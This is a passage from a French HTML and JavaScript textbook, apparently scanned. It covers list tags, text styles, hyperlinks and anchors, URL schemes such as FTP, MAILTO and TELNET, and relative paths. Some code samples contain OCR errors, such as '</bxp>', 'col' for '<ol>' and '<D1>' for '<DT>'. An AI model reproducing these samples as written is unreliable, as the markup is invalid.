• poney 2. Rapports
• mulet 3. Thèses
4. Périodiques
• zèbre

Figure 10 - Listes non ordonnées et listes ordonnées

<LI>
La balise <LI> est vide et commune à tous les types de listes restants. Elle précédera cha­
que objet de la liste.

<LH>
Commune aussi à l'ensemble des listes, cette balise vide permet d'affecter un en-tête à
l'ensemble de la liste. Le texte associé apparaît de façon identique aux items mais n'est
pas précédé de puce ou de numéro. La syntaxe générale des listes sera :

<balise d'ouverture>
<lh>élément d'en-tête
<li>élément de rénumération
<li>..
<balise de fermeture>

<UL>
La balise <UL> permet de générer des listes non numérotées. Chacun des éléments de la
liste sera précédé d'une puce, dont le graphisme pourra varier selon le niveau d'imbrica­
tion de la liste.

<html>
<head><title>Listes &lt; ol&gt ;</title></head>
<body>
<h2> Exemple de liste de type non
ordonn&eacute;e (&lt;ul&gt;)</h2>
<ul>
<lh> <b>R&eacute;pertoires</bxp>
<li> Fichiers HTML
<li> Fichiers images
<li> Fichiers sons
<li> Fichiers films
<li> Fichiers test

42
Listes

<li> Fichiers exemples

</ul>
</body>
</html>

L'attribut TYPE dans les listes non ordonnées

Cet attribut permet de contrôler le symbole (la puce) précédant chacun des items de la
liste. Il peut être utilisé avec la balise <ul> ; il définit alors le symbole pour toute la liste,
sauf s'il apparaît dans une balise <li> où il redéfinit un nouveau symbole pour le reste de
la liste.
<OL TYPE=valeur>
<LI TYPE=valeur>
Les valeurs définissant la puce peuvent être :
• square, qui donne à la puce l'aspect d'un rectangle,
• circle, qui donne à la puce l'aspect d'un cercle vide,
• disc, qui donne à la puce l'aspect d'un cercle plein.

<html><head><title>Liste -type</title></head><body>
<h2>Exemple de liste non num&eacute;rot&eacute;e avec TYPE</h2>
<ul type=circle >
<lh id=langxi>Langages et formats</i><p>
<li>HTML
<li>VRML
<li type=square>PDF
<li type=disc>JavaScript
<li>Java
</ul>
< / body >< / html >

43
 Programmation HTML et JavaScript

Emboîtement de listes non ordonnées

Dans l'exemple suivant, le browser Netscape utilise trois puces différentes en fonction
du degré d'emboîtement, puis il utilise la dernière puce (le carré vide) pour tous les
niveaux suivants.

<html>
<head><title>Listes &lt;ul&gt;</title></head>
<body>
<h2> Exemple de liste de type non ordonn&eacute;e
imbriqu&eacute;e (&lt;ul&gt;)</h2>
<ul>
<li> Fichiers HTML
<ul>
<li>Exemples
<ul>
<li>listes
<li>tableaux
<li>Styles
<ul>
<li>citation
<li>texte en emphase
</ul>
</ul>
<li>En cours
<li>P&eacute;rim&eacute;s
</ul>
<li> Fichiers images
<li> ...
</ul>
</body>
</html>

44
Listes

<OL>
La balise <OL> s'utilise pour une liste ordonnée ou numérotée. Chaque balise <LI>
inclue dans un ensemble <OL> va incrémenter le nombre qui sera affiché devant l'élé­
ment de la liste.

<html>
<head><title>Listes &lt;ul&gt;</title></head>
<body>
<h2> Exemple de liste de type ordonn&eacute;e (&lt;ol&gt;)</
h2>
<ol>
<li> Fichiers HTML
<li> Fichiers images
<li> Fichiers sons
<li> Fichiers films
<li> Fichiers test
<li> Fichiers exemples
</ol>
</body>
</html>

45
 Programmation HTML et JavaScript

L'attribut TYPE dans les listes ordonnées

Par défaut, les listes sont numérotées en chiffres arabes. D'autres types de numérotation
sont possibles en ajoutant l'attribut type à la balise <ol> :
<OL TYPE=valeur>
• la valeur 1 produit une numérotation en chiffres arabes (1, 2 ,3,...) (valeur par défaut)
• la valeur A produit une numérotation en lettres capitales (A, B, C,...)
• la valeur a produit une numérotation en lettres minuscules (a,b,c,...)
• la valeur I produit une numérotation en chiffres romains (I, II, III, IV,...)
• la valeur i produit une numérotation en chiffres romains minuscules (i, ii, iii, iv,...)

L'attribut START dans les listes ordonnées

Ajouté à la balise <ol>, il permet de définir la valeur de départ de la liste.
<OL START=valeur>
La valeur donnée sera toujours numérique quel que soit le type, alphabétique ou romain.

L'attribut value
Cet attribut s'applique à la balise dix II permet de rompre le séquencement et de le réi­
nitialiser à une nouvelle valeur.
<LI VALUE=valeur>
La valeur donnée sera toujours numérique quel que soit le type, alphabétique ou romain.

<html>
<head><title>Liste -type-start-value</title></head>
<body>
<h2>Exemple de liste num&eacute;rot&eacute;e
en romain minuscule</h2>
col type=i start=3 >
<li >HTML
<li>Java
<li>JavaScript
<li value=10>VRML
<li>XML
</ol>
</body>
</html>

46
Listes

Emboîtement de listes ordonnées

Comme cela a été précisé au début du chapitre, l'exemple suivant montre qu'il n'y a pas
de numérotation automatique selon le degré d'emboîtement.
<html>
<head><title>Listes &lt ; ol&gt ; </title></head>
<body>
<h2> Exemple de liste de type ordonn&eacute;e (&lt;ol&gt;)</h2>
<ol>
<li> Fichiers HTML</li>
<li> Fichiers images</li>
<ol>
<li>Natures mortes
<li>Paysages
<ol>
<li>Et&eacute ;
<li>hiver
</ol>
<li>Personnages
</ol>
<li> Fichiers sons</li>
</ol>
</body>
</html>

47
 Programmation HTML et JavaScript

Listes imbriquées
L'exemple suivant présente des listes à plusieurs niveaux. Encore une fois, l'indentation
dans le code source HTML n'est pas obligatoire. Mais, lorsque la structure devient plus
complexe, une telle écriture facilite la maintenance du fichier.
<html>
<head><title>Listes imbriqu&eacute;es</title></head>
<body>
<h2> Exemple de listes imbriqu&eacute;es</h2>
<ul>
<li> Fichiers HTML
<ol>
<li>Fichiers de tests
<ul>
<li>[Link]
<li>[Link]
<li>[Link]
</ul>
<li>Fichiers d'exemples
<li>Fichiers du serveur
</ol>
<li> Fichiers images
<li> Fichiers sons
<li> Fichiers films
</ul>
</body>
</html>

48
Listes

RESUME

Principaux types de listes :

• Listes descriptives :
<DL>ouverture de la liste
<D1>titre de l'élément n<DD>description de l'élément n
<DT>titre de l'élément n+ 1<UD>description de l'élément n+1
</DL>fermeture de la liste
• Listes non numérotées :
<UL >ouverture de la liste
<LI>élément de la liste
<LI>...
</UL>fermeture de la liste
• Listes numérotées :
<OL> ouverture de la liste
<LI>élément de la liste
<LI>...
</OL>fermeture de la liste
La balise <OL> admet deux attributs :
• TYPE pour définir la numérotation, 1 pour chiffre, A pour alphabéti­
que majuscule, a pour alphabétique minuscule, I pour romain majus­
cule et i pour romain minuscule.
• START pour définir la valeur de départ de la liste.
Utilisée dans un bloc <OL>, la balise <LI> admet l'attribut VALUE, qui
permet à l'intérieur de la liste de modifier le séquencement.
Les balises <UL> et <LI> admettent l'attribut TYPE qui permet de
définir la puce située devant l'item. Les valeurs permises sont
SQUARE pour sélectionner un carré, CIRCLE pour sélectionner un
cercle vide et DISC pour en cercle plein. Lorsque l'attribut TYPE est
défini dans la balise <LI>, il modifie la valeur définie dans la balise
<UL> pour le reste de la liste.

49
 Chapitre 7

Styles

Les balises que nous allons étudier correspondent aux balises de base du langage permet­
tant d'intervenir sur la présentation des pages. Il ne faut pas oublier, cependant, que le
lecteur a toute latitude pour modifier cette présentation en intervenant sur le paramétrage
de son browser ; il peut déjà agir sur la taille, la couleur et le choix des polices, il pourra
bientôt créer localement sur sa machine ces propres styles de présentation. Ces balises
pourront notamment être utilisées dans les définitions de feuilles de style (voir Les
feuilles de style, page 99).
HTML définit deux méthodes pour la présentation des caractères : le style physique et le
style logique.

Style physique ou style des caractères

Les balises suivantes vont explicitement indiquer le type de caractères à utiliser.

<B>
Cette balise commence un texte en caractères gras.

<l>
Cette balise commence un texte en caractères italiques.

<U>
Cette balise commence un texte en caractères soulignés (elle n'est pas reconnue par tous
les browsers).

51
 Programmation HTML et JavaScript

<TT>
Cette balise permet de formater le texte en caractères de type machine à écrire (télétype).
La police utilisée est de type non proportionnelle1.

<html>
<head>< title>< /tittle>< /head>
<body>
Un traitement de texte <b>WYSIWYG</b><i>(<b>W</b>hat
<b>Y</b>ou <b>S</b>ee <b>I</b>s <b>W</b>hat
<b>Y</b>ou <b>G</b>et)</i> est un traitement<br>
de texte o&ugrave; vous voyez sur 1'&eacute;cran la page
<tt>telle qu'elle sera <u>imprim&eacute;e.</u></tt>
</body>
</html>

Style logique, style de paragraphe

Comme précédemment, l'interprétation par le browser des consignes concernant le style
des paragraphes est tout à fait libre, et les huit styles logiques définis dans HTML pour
caractériser des portions de texte ne produiront pas forcément autant de représentations
différentes. Il est néanmoins préférable d'utiliser ce balisage en choisissant le mode le
mieux adapté au genre du texte : balise de citation pour une citation, balise de code pour
un exemple de programme informatique, etc. Se conformer à cette règle est une garantie
de bonne exploitation des fichiers HTML par les futurs browsers.

<CITE>
Cette balise est souvent utilisée pour citer un ouvrage ou une référence plutôt qu'une
citation, pour laquelle on préférera la balise <blockquote> ; des caractères italiques sont
le plus souvent choisis par le browser.

1. Avec une police non proportionnelle, l'espace occupé par chaque caractère est cons­
tant. Ainsi la lettre I occupe la même largeur que la lettre M. Cela permet nottament de
réaliser des alignements pour les tableaux.

52
Styles

<h2>&lt;cite&gt;</h2>
texte pr&eacute,c&eacute;dent la balise
<cite>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</cite>
texte suivant la balise

<CODE>
La balise <code> est utilisée pour un exemple de programme informatique ; des caractè­
res de type machine à écrire avec police non proportionnelle (fonte Courier) seront adoptés.

<h2>&lt;code&gt;</h2>
texte pr&eacute;c&eacute;dent la balise
<code>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</code>
texte suivant la balise

<DFN>
On utilise <DFN> pour la définition d'un terme. Selon le browser, des caractères stan­
dard, gras ou gras italiques seront utilisés.

<h2>&lt;dfn&gt;</h2>
texte pr&eacute;c&eacute;dent la balise
<dfn>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri

53
 Programmation HTML et JavaScript

potest, ideas habeamus.

</dfn>
texte suivant la balise

<EM>
La balise <EM> permet de mettre en valeur un texte ; des caractères italiques seront le
plus souvent utilisés.

<h2>&lt;em&gt;</h2>
texte pr&eacute;c&eacute;dent la balise
<em>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</em>
texte suivant la balise

<KBD>
Permet d'illustrer une saisie au clavier ; des caractères de type machine à écrire avec
police non proportionnelle (une fonte Courier) seront sélectionnés.

<h2>&lt;kbd&gt;</h2>
texte pr&eacute;c&eacute;dent la balise
<kbd>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</kbd>
texte suivant la balise

54
Styles

<SAMP>
Pour un exemple de texte, on utilise <SAMP> ; des caractères type machine à écrire avec
police non proportionnelle (une fonte Courier) seront généralement utilisés.

<h2 >&lt;samp&gt;</h2 >

texte pr&eacute;c&eacute;dent la balise
<samp>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</ samp>
texte suivant la balise

<STRONG>
Pour mettre un texte très fortement en valeur on utilise la balise <STRONG> ; utilisation
de caractères gras.

<h2 >&lt; strong&gt;</h2 >

texte pr&eacute;c&eacute;dent la balise
<strong>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</strong>

55
 Programmation HTML et JavaScript

<VAR>
Cette balise est utilisée pour représenter une variable dans un contexte informatique par
exemple, utilisation de caractères italiques.

<h2>&lt;var&gt;</h2>
texte pr&eacute;c&eacute;dent la balise
<var>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</var>
texte suivant la balise

<BLOCKQUOTE>
Cet élément, si l'on respecte la sémantique du langage HTML, serait plutôt à classer avec
les balises <PRE> de texte préformaté et <ADDRESS> spécifiant un bloc d'adresse ou
de signature. Ce sont véritablement les trois balises de formatage de paragraphe.
<BLOCKQUOTE> peut être utilisé dans le même esprit que la balise <CITE>, mais des
caractères standard seront utilisés, le bloc de texte sera entièrement décalé vers la droite
et des espaces de type paragraphe seront générés de part et d'autre du bloc.

<h2>&lt;blockquote&gt;</h2>
texte pr&eacute;c&eacute;dent la balise
<blockquote>
Ideis mediantibus res ipsas intelligimus. Interest ergo
maxime ut clariores et distinctiores, quantume fieri
potest, ideas habeamus.
</blockquote>
texte suivant la balise

56
Styles
RESUME

Le style physique :
• <B> pour des caractères gras ;
• <l> pour des caractères italiques ;
• <U> pour des caractères soulignés ;
• <TT>pour des caractères de type machine à écrire.
Ces styles sont combinables entre eux.

Le style logique :
• <CITE> pour citer un ouvrage par exemple ;
• <CODE> pour un exemple de programme informatique ;
• <DFN> pour une définition ;
• <EM> pour un mot étranger ;
• <KBD> pour simuler la saisie d'un texte au clavier ;
• <SAMP> pour citer un texte en exemple ;
• <STRONG> pour mettre en valeur ;
• <VAR> pour représenter une variable.

Le style des paragraphes :

• <BLOCKQUOTE> pour une citation ;
• <ADDRESS> pour une adresse, une signature ;
• <PRE> pour respecter le texte tel qu'il a été saisi.

57
 Chapitre 8

Créer des liens

Les chapitres précédents étaient essentiellement axés sur la préparation d'un document
HTML, sa structuration et sa présentation. Nous arrivons au chapitre essentiel sur les
liens hypertextuels du Web.
Le lecteur explore un document sur le Web en cliquant sur des zones actives, faisant ainsi
apparaître de nouveaux documents. Dans HTML, une zone active peut correspondre à un
caractère, un mot ou un groupe de mots, une image ou une portion d'image. Le principe
sera toujours identique : associer à cette zone active l'URL (voir Le protocole d'adres­
sage des documents - l'URL, page 19) du document, qui se substituera au document
affiché lorsque l'on cliquera sur cette zone.
Sur l'exemple de la figure 11, page 60, lorsque l'on clique sur le mot tableaux, le système
va rechercher le document à l'adresse qui est associée à ce mot, [Link] la
page Aide s'efface pour être remplacée par la page tableaux. On dit couramment que le
mot tableaux dans la page [Link] est un pointeur sur la page [Link].
Un pointeur peut être placé n'importe où dans le texte. Ce peut être un élément d'une
liste, ou du texte courant ; il peut être enrichi d'attributs de style physique, logique ou de
paragraphe. Cependant, il n'est pas nécessaire de lui affecter un attribut pour le faire
reconnaître en tant que tel : sans paramétrage spécial du browser par l'utilisateur, les
liens activables sont automatiquement mis en relief (couleur et soulignement).
Le langage HTML définit la notion importante d'ancre pour spécifier le départ et l'arri­
vée d'un lien hypertexte.

59
 Programmation HTML et JavaScript

Figure 11 - Liens hypertexte

• l'ancre de départ est la zone active sur laquelle va cliquer le lecteur pour appeler
une nouvelle page. Dans l'exemple de la figure 12, les mots textes, tableaux, équa­
tions, graphiques et impressions sont des ancres de départ.

• l'ancre d'arrivée est une zone inactive spécifiant le point d'arrivée d'un lien hyper­
texte. C'est donc une adresse de destination. Dans l'exemple de la figure 12, [Link]
aide/[Link] est l'ancre d'arrivée de la zone cliquable tableaux. Dans ce cas, la des­
tination est le fichier [Link] et il s'agit d'un lien externe1.
Il existe un autre type d'ancre d'arrivée lorsque la zone cliquable d'un document pro­
voque un déplacement dans le même fichier2. Sur la figure 12, page 61, tableaux
représente toujours une ancre de départ et Faire des tableaux une ancre d'arrivée.
Cette ancre d'arrivée ne comporte pas d'attributs visuels et n'est évidemment pas une
zone cliquable, d'où son nom ancre inactive.

1. Encore appelé macrotexte, car l'ancre de départ et l'ancre d'arrivée appartiennent à des
fichiers (ou documents) différents.
2. On parle alors de microtexte, car l'ancre de départ et l'ancre d'arrivée se situent dans le
même fichier.

60
Créer des liens

Les liens internes sont très intéressants lorsqu'un document est trop long pour tenir
totalement dans la fenêtre du browser. Cela permet de se déplacer d'autant plus rapi­
dement dans le document que celui-ci, lu en une seule fois, se trouve dans la mémoire
de l'ordinateur.

Figure 12 - Lien interne à un document

Pour spécifier une ancre de départ ou une ancre d'arrivée, on utilisera la même balise.

Définition d'une ancre

<A>
Cette balise ne sera jamais utilisée seule.

L'attribut HREF, ancre de départ vers un lien externe

Il s'agit ici de créer un lien vers un serveur situé quelque part sur l'Internet, ou sur un
document proposé par ce serveur. Par exemple, dans une page du serveur de la ville
d'Arles, on trouvera un lien sur le fichier du serveur du ministère de la culture proposant
les œuvres de Van Gogh.
La balise <A> spécifie l'attribut HREF dont la valeur précise l'URL du document à
atteindre :

<A HREF="url_de_destination">zone_cliquable_avec_attributs_visuels</A>

Exemple d'utilisation :

61
 Programmation HTML et JavaScript

Actuellement &agrave; la galerie nationale du Jeu de Paume

<A HREF="[Link] C&eacute;sar</A>, tous les
jours....

L'ancre, l'exposition César, sera mise en évidence par les attributs visuels en vigueur
sur le browser, et, lorsque l'on cliquera dessus, on effectuera une connexion vers le ser­
veur Web.
Dans l'exemple ci-dessus, l'URL précise un fichier particulier du serveur ; si l'on sou­
haite arriver directement sur la home page d'un serveur (qui n'est autre qu'un fichier
HTML pris par défaut, généralement [Link]), l'URL sera alors composée unique­
ment du nom du serveur :

Le <A HREF ="[Link] est le laboratoire o&ugrave;

Tim Berners-Lee a invent&eacute; le Web.

Par lien hypertexte externe, on entend un lien vers un fichier autre que celui couramment
en exécution.
Dans un même serveur se trouvent les fichiers [Link] et [Link]. Dans le
fichier [Link], on trouve un lien vers le fichier [Link] et un lien vers
[Link]. Ces deux liens sont considérés comme externes.

L'attribut HREF, ancre de départ vers un lien interne

Dans ce cas, on se propose de mettre un lien hypertexte vers un point précis du fichier en
cours d'exécution : par exemple, à la ligne 15 du fichier, on propose un lien pour sauter
directement à la ligne 95. Il faut donc placer une ancre active (ancre de départ) à la ligne
15 et une ancre inactive (ancre d'arrivée) à la ligne 95.

<A HREF= "#étiquette">zone_cliquable_avec_attributs_visuels</A>

L'ancre de départ est ainsi définie.

L'attribut HREF, ancre de départ

vers un point spécifique d'un lien externe
On référence dans ce cas une entrée particulière d'un document externe :

<>A HREF="url_destination#étiquette">zone_cliquable_avec_attributs_visuels</A>

L'attribut NAME, ancre d'arrivée

<A NAME= "label">zone_NON_cliquable_SANS_attributs_visuels</A>

définit l'ancre d'arrivée, lieu que l'on atteindra en cliquant sur une ancre de départ.

62
Créer des liens

On notera dans l'ancre de départ, le caractère # (dièse) qui indique que la référence
hypertexte n'est pas une URL mais une étiquette.

L'attribut HREF et NAME sur une même ancre

Application à la note de bas de page

Une ancre peut admettre simultanément plusieurs attributs. Nous allons utiliser l'analo­
gie avec une note de bas de page dans un texte imprimé pour étudier l'utilisation des
attributs HREF et NAME spécifiés sur la même ancre.
La note de bas de page est indiquée par un petit chiffre en exposant, invitant le lecteur à
déplacer ses yeux vers le bas de la page pour lire une explication complémentaire ;
ensuite, il faut retrouver ce petit chiffre dans la page pour poursuivre la lecture.
A l'inverse d'un document papier, une page HTML peut être très longue et par consé­
quent ne pas être complètement affichée dans l'espace du browser. Si l'on souhaite simu­
ler un type d'annotation comme la note de bas de page dans une page Web, on peut
placer à la fin du document cette “note” précédée d'une ancre passive (attribut NAME),
et au fil du texte, y faire référence en plaçant une ancre active (attribut HREF). Cette
méthode fonctionnera très bien et le lecteur, lorsqu'il cliquera sur l'ancre active, provo­
quera bien le saut vers la note.
Il reste maintenant à lui assurer un retour aisé vers le point d'interruption de sa lecture,
car ce point n'est plus affiché à l'écran si la page HTML est longue.
Nous coderons le document de la façon suivante :
• dans le texte courant, on place une ancre active et passive de la forme :

. . .<A HREF= " #note1" NAME= "retour1">(1)</A>...

• de même en tête du bloc de texte composant la note :

<A HREF="#retour1" NAME="notel">1 -</A> Texte de la note...

Ainsi, le lecteur clique sur l'ancre (1), va lire l'annotation, puis il clique sur l'ancre 1 - et
retrouve le fil de sa lecture.

<html>
<head><title>Note de bas de page</title></head>
<body>
Pour illustrer le fonctionnement de la note de bas de page
<a href="#note1" name="rtn1">(1)</a> il est n&eacute;cessaire, comme
le document est <b>court</b> de r&eacute;duire la taille de la
fen&ecirc;tre du browser &agrave; quelques lignes et &agrave; quelques
colonnes. (5 ou 6 lignes de 40 caract&egrave;res <br><a href="#rtn1"
name="notel">1 - </a>
<i>Nous sommes ici dans la zone de texte de la note simul&eacute;e
dans une page HTML
</body>

63
 Programmation HTML et JavaScript

</html>

Dans cet exemple, on a très fortement limité la taille du browser car le texte est très
court ; de cette façon, on peut tester l'effet recherché.

Les différentes ressources pointées par un lien

L'extrémité d'un lien peut être n'importe quel type de document :
• un fichier HTML
On distingue deux cas, lorsque l'on définit un pointeur vers une URL externe :

□ Le document pointé appartient à un ensemble de documents homogènes dont on a

la maîtrise. Dans ce cas, on pourra prévoir, dans le document pointé, une ancre de
retour facilitant la navigation dans cet ensemble de documents. Des images représen­
tant un bouton avec une flèche vers la gauche sont souvent utilisées comme pointeurs
de retour.
Il faut cependant être prudent lorsque l'on décide de gérer ainsi sa propre navigation :
on ne pourra plus utiliser le document dans un autre contexte, sous peine de proposer
des choix de navigation qui égareront le lecteur.

64
Créer des liens

Dans la figure ci-dessus, on trouve deux ensembles distincts de documents. Dans le

document 2 de l'ensemble Alpha, a été posé un lien vers le document B de l'ensemble
Bêta. Le lecteur parti de la page Menu de l'ensemble Alpha trouve à la page 2 un lien
qui l'emmène vers le document B de l'ensemble Bêta. S'il utilise depuis cette page le
bouton , il reviendra vers Sommaire des documents Bêta et non vers Menu des
documents Alpha comme il pouvait l'espérer !

Le document pointé se situe sur un serveur ou une zone de serveur indépendant du

document en cours de réalisation ; après consultation du lien, le lecteur reviendra au
document de départ à l'aide du bouton back proposé par le browser.

• une image GIF, JPEG ou PostScript, un film

On veut proposer dans ce type de lien (<a href=" [Link] >...) une ancre
(texte, imagette) qui, lorsque l'on cliquera, provoquera l'affichage d'une image ou
d'un film. Cela est différent d'une image en ligne qui, elle, apparaîtra toujours1 au
chargement de la page.
Le résultat de la connexion sur de tels liens sera différent en fonction du browser uti­
lisé. Sur un browser comme Netscape, l'image GIF ou JPEG sera affichée dans la
fenêtre du browser, tandis que pour afficher le document PostScript, Netscape fera
appel à un logiciel périphérique qui devra être installé sur l'ordinateur. D'autres
browsers appelleront systématiquement des logiciels associés pour afficher des ima­
ges proposées via une URL de type HTTP.
Ce type de lien sera essentiellement utilisé lorsque la taille de l'image est importante.
Par exemple, on propose sur la page une imagette ; lorsqu'on clique sur cette ima-

1. Sauf dans le cas où l'on a paramétré le browser pour qu'il n'affiche pas les images.

65
 Programmation HTML et JavaScript

gette, on affiche alors l'image haute définition. C'est aussi la façon de proposer un
film.
Avec ce genre de liens, on ne peut pas proposer de boutons de navigation sans avoir
recours aux véritables images cliquables.
• un texte

D'autres URL
La découverte de l'Internet pour le grand public a été favorisée par le Web et son inter­
face graphique. Si HTTP est le protocole du Web, d'autres services sont utilisés sur
l'Internet depuis sa création :
• FTP pour le transfert de fichiers entre ordinateurs connectés à l'Internet,
• SMTP pour l'échange de courrier électronique,
• NNTP pour les forums de news,
• TELNET pour la connexion à d'autres ordinateurs,
• etc.
D'autres protocoles ou pseudo-protocoles ont été créés pour l'usage du Web :
• JAVASCRIPT pour exécuter un script qui a été téléchargé avec la page,
• MAILTO pour lancer un agent de mall,
• ABOUT pour distribuer certains types d'informations,
• FILE pour visualiser un fichier HTML local,
• etc.
Interfacer ces différents services entre les serveurs Web et les browsers clients a été une
des premières tâches des concepteurs du Web. Où il était autrefois nécessaire de connaî­
tre des applications spécifiques (souvent sans interface graphique), l'utilisation d'un
browser Web permet au lecteur d'accéder facilement à ces services.

Figure 14 - Protocoles accessibles depuis le Web

66
Créer des liens

FTP
Les URL de type FTP permettent d'offrir à travers un serveur Web, une connexion facile
vers des serveurs de fichiers anonymes1 ou plus simplement de proposer la recopie sur
l'ordinateur local d'un fichier résidant dans l'espace d'un serveur Web.
l'URL FTP est spécifiée de la façon suivante :

FTP://nom_du_serveur/repertoire/sous_repertoire...

Figure 15 - Accès FTP

On peut aussi proposer l'accès à un seul fichier du serveur FTP et inversement proposer
la totalité d'un répertoire du serveur Web. La configuration représentée sur la figure 16
est cependant la plus logique et sera la plus souvent utilisée.

La spécification d'un répertoire sera :

FTP://nom_ du_ serveur/repertoire/sous_ repertoire/

1. Le service FTP anonyme (FTP anonymous) est un accès autorisant des utilisateurs
n'ayant pas de compte et de mot de passe sur une machine à recopier sur leur ordina­
teur local des fichiers provenant de ce serveur FTP.

67
 Programmation HTML et JavaScript

Par exemple :

[Link]

Provoquera un affichage semblable à celui de la figure 17. Il suffit de cliquer sur une
icône ou sur le nom du fichier pour provoquer le transfert.

Figure 16 - Affichage d'un accès FTP

La spécification d'accès direct à un fichier sera :

FTP://nom_ du_serveur/repertoire/sous_ repertoire/nom_ du_ fichier

Par exemple :

[Link]

Utilisation du format Mime

Que se passe-t-il au moment où l'on active le transfert d'un fichier ?
• le serveur examine l'extension du nom du fichier (.eps, .gif .tar, etc.),
• il recherche dans un fichier de sa configuration ([Link]) une extension identique
et en déduit le format Mime1 du fichier (type/subtype),
• il indique au client au travers du dialogue HTTP (content-type type/subtype) le type
de fichier envoyé.
Par défaut, le serveur affectera le type text/plain à tout fichier dont l'extension ne corres­
pond pas à un type Mime connu (voir Le format MIME, page 417).

1. Mime (Multipurpose Internet Mail Extension) est une spécification d'identification des
types de fichiers. Conçue à l'origine pour le courrier électronique, elle permet
d'envoyer entre sites des données binaires et d'identifier à l'arrivée le logiciel capable
de les interpréter.

68
Créer des liens

Comment le browser réagit-t-il à l'arrivée du fichier ?

• le content-type est connu, et le browser est capable d'interpréter le fichier, y compris
pour text/plain pris par défaut. Le fichier est affiché dans la fenêtre du browser ;
• le content-type est connu, le browser n'est pas capable d'interpréter seul le fichier. Il
localise l'application associée. Le fichier est affiché dans une fenêtre propre à l'appli­
cation, à l'extérieur du browser ;
• le content-type est connu, le browser n'est pas capable d'interpréter seul le fichier. Il
n'a pas l'application correspondante. Dans ce cas, il propose généralement de sauve­
garder le fichier localement à l'aide d'une fenêtre semblable à celle de la figure 17.

L'identification Mime des fichiers qui vient d'être décrite dans le cadre du proto­
cole FTP est rigoureusement identique avec le protocole HTTP.

Figure 17 - Enregistrement du fichier transféré

On peut aussi utiliser le transfert de fichier non anonyme, c'est-à-dire lancer un FTP en
précisant le nom du compte et le password. Cette méthode ne sera jamais utilisée directe­
ment dans un fichier HTML, mais pourra exister au travers de l'interface de programma­
tion CGI.

La syntaxe de cette URL est :

FTP//compte:password@site/repertoire/sous_repertoire/fichier...

69
 Programmation HTML et JavaScript

NEWS
Dans un serveur thématique, il peut être intéressant de créer une page HTML recensant
les groupes de news1 en relation avec les thèmes du serveur.

Cette URL est de la forme :

NEWS:nom_du_groupe_de_news

Par exemple :

news:[Link]

Les lecteurs de news intégrés aux browsers ne donnent pas tous la même présentation, ni
les mêmes fonctionnalités. La figure 18 présente le lecteur de news de Netscape.

Figure 18 - Lecteur de news

TELNET
Cette URL ne présente pas un grand intérêt. Elle permet d'obtenir le lancement d'une
fenêtre TELNET qui contiendra l'invitation à se loger sur la machine spécifiée.

TELNET:nom_de_la_machine

1. Les news sont des forums organisés en grands domaines d'intérêt (les groupes) où cha­
cun peut participer à la discussion en postant et en consultant des articles.

70
Créer des liens

MAILTO
Lorsque cette URL est appelée, une zone de saisie est proposée au lecteur, lui permettant
de taper un courrier électronique et de le signer dans un champ spécifique en indiquant
son adresse électronique. Ce courrier est expédié à l'adresse indiquée dans l'URL.

MAILTO:nom_ du_destinataire@site

JAVASCRIPT
Cette pseudo-URL permet de lancer l'exécution d'un script, ou d'appliquer une méthode
sur un objet de la page (soumettre un formulaire par exemple).

javascript:nom_du_script(paramètres_eventuels)

Adressage des URL dans l'espace du serveur

Nous venons d'étudier comment programmer des liens en spécifiant le chemin exact
d'accès à la référence souhaitée. Ce mode d'adressage est appelé chemin absolu, puis­
que l'URL indique complètement le lieu de stockage du fichier et le protocole à utiliser :
type de protocole://site/répertoire/sous-répertoire(s)/fichier.

Dans la conception d'une page HTML, si l'on ne référence que des URL de documents
résidant dans le même espace, il est alors possible de décrire chaque appel vers une nou­
velle URL par rapport à l'URL où l'on se situe. Ce mode d'adressage est nommé chemin
relatif.

71
 Programmation HTML et JavaScript

Figure 19 - Adressage relatif

Sur la figure 19, on a représenté l'espace disque du serveur [Link]. Il est com­
posé de trois répertoires, alpha, beta et gamma, dans lesquels sont répartis les fichiers
HTML A, B, C et D.
Si, dans un fichier, on décrit un lien vers un fichier résidant dans le même répertoire, il est
suffisant d'indiquer le nom du fichier. En revanche, si l'on décrit un lien vers un fichier
d'un sous-répertoire, il faudra décrire l'arborescence vers ces répertoires. La référence
vers un fichier situé dans le répertoire immédiatement au-dessus est notée par .. (deux
points consécutifs).

On peut décrire quelques relations entre les fichiers de cet exemple :

• L'adresse du fichier B depuis un site quelconque de l'Internet est [Link]

[Link]/alpha/B
• Dans le fichier B, on peut référencer les liens suivants :
Le fichier A par beta/A (<a href="beta/A">voir A</A>)
Le fichier D par beta/gamma/D (<a href="beta/gamma/D">voir D</A>)
Le fichier C par C (<a href="C">voir C</A>)
• Dans le fichier A, on peut référencer les liens suivants :
Le fichier D par gamma/D (<a href="gamma/D">voir D</A>)
Le fichier B par ../B (<a href="../B">voir B</A>)
Le fichier C par ../C (<a href="../C">voir C</A>)
• Dans le fichier D, on peut référencer les liens suivants :

72
Créer des liens

Le fichier A par ../A (<a href="../A">voir A</A>)

Le fichier B par ../../B (<a href="../.. /B">voir B</A>)

JavaScript et les liens

Avec JavaScript, les liens d'une page HTML deviennent des objets que l'on peut mani­
puler. Les objets liens sont relativement simples : trois événements y sont associés,
aucune méthode particulière ne s'y applique et la seule propriété qui peut être manipulée
est la propriété target qui permet de spécifier la fenêtre, ou la frame dans laquelle s'affi­
che un document.
Si le lien devient un objet au sens JavaScript, il est stocké au niveau du document dans
un tableau, et on peut ainsi le référencer. Le mot clé pour accéder à un lien est links.
Ainsi, dans la nomenclature des objets JavaScript, [Link][0] référence le
premier lien décrit dans la page, [Link][1] le second, etc.
Comme tout tableau, il est possible de connaître le nombre d'éléments qui le composent
(donc le nombre de liens dans la page) par [Link].

Les événements associés aux liens

